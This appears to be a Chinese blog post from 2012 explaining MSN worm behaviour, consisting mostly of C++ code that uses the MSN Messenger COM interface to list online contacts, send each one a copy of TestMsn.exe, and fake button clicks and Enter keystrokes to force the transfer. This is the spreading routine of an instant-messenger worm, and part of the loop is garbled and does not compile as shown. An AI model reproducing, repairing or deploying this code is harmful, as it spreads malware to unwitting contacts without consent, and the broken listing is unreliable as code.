MSN病毒原理及测试代码

前段时间MSN病毒非常流行,它的原理其实很简单,最主要的工作就是操控MSN,其实这个很简单,微软有公开的接口让你用,所以我就不多说了,直接进入正题。 下面是测试代码,只有通过MSN传送文件部分 CODE: #include "stdafx.h" #include <stdio.h> #include <windows.h> #include "msgruaid.h" //这两个头文件就是接口的定义 #include "msgrua.h" //有兴趣的同学可以在网上找找(没找着可以找我要) #include <comutil.h> int main(int argc, char* argv[]) { IMessenger *pIMessenger = NULL; //a pointer to an IMessenger interface BSTR pbstrName, bstrFriendName; IMessengerContact *MsnContact; IMessengerContacts *MsnContacts; IMessengerWindow *pIMsnWindow; __MIDL___MIDL_itf_msgrua_0000_0002 dwStatus; VARIANT vaTemp; BSTR bstrFileName; char *szOpenDlg; char szMsnWindowsClass[] = "IMWindowClass"; char szButtonText[] = "打开(&O)"; HWND hWnd = NULL, hBtn = NULL; DWORD dwControlId = 0; char szCurDir[MAX_PATH], szBuf[MAX_PATH]; CoInitialize(0); //初始化COM库 CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMessenger, (void **)&pIMessenger); //创建一个实例 pIMessenger->get_MyContacts((IDispatch**)&MsnContacts); //取得好友列表 pIMessenger->get_Window((IDispatch**)&pIMsnWindow); long nCount; MsnContacts->get_Count(&nCount); //得到好友数 for (int i = 0; i < nCount; i++) { MsnContacts->Item(i, (IDispatch**)&MsnContact); MsnContact->get_SigninName(&pbstrName); //账号 MsnContact->get_FriendlyName(&bstrFriendName); //签名 szOpenDlg = _com_util::ConvertBSTRToString(bstrFriendName); MsnContact->get_Status(&dwStatus); if (dwStatus == MISTATUS_ONLINE) //判断是否在线 { GetCurrentDirectory(MAX_PATH, szCurDir); lstrcat(szCurDir, "\\"); lstrcat(szCurDir, "TestMsn.exe"); lstrcpy(szBuf, "发送文件给 "); lstrcat(szBuf, szOpenDlg); bstrFileName = _com_util::ConvertStringToBSTR(szCurDir); vaTemp.vt = VT_BSTR; vaTemp.bstrVal = pbstrName; pIMessenger->SendFile(vaTemp, bstrFileName, (IDispatch**)&pIMsnWindow); //发送文件 do { hWnd = FindWindow(NULL,szBuf); hBtn = FindWindowEx(hWnd, NULL, NULL, szButtonText); & hBtn)); dwControlId <<= 16; dwControlId |= 1; PostMessage(hWnd, WM_COMMAND, (WPARAM)dwControlId,(LPARAM)&(hBtn)); keybd_event(VK_RETURN, 0, 0, 0); keybd_event(VK_RETURN, 0, KEYEVENTF_KEYUP, 0); } MsnContact->Release(); MsnContacts->Release(); pIMessenger->Release(); //释放相关资源 CoUninitialize(); ExitProcess(0); return 0; }
posted @ 2012-07-15 21:51  adodo1  Views(122)  Comments(0Edit  收藏  举报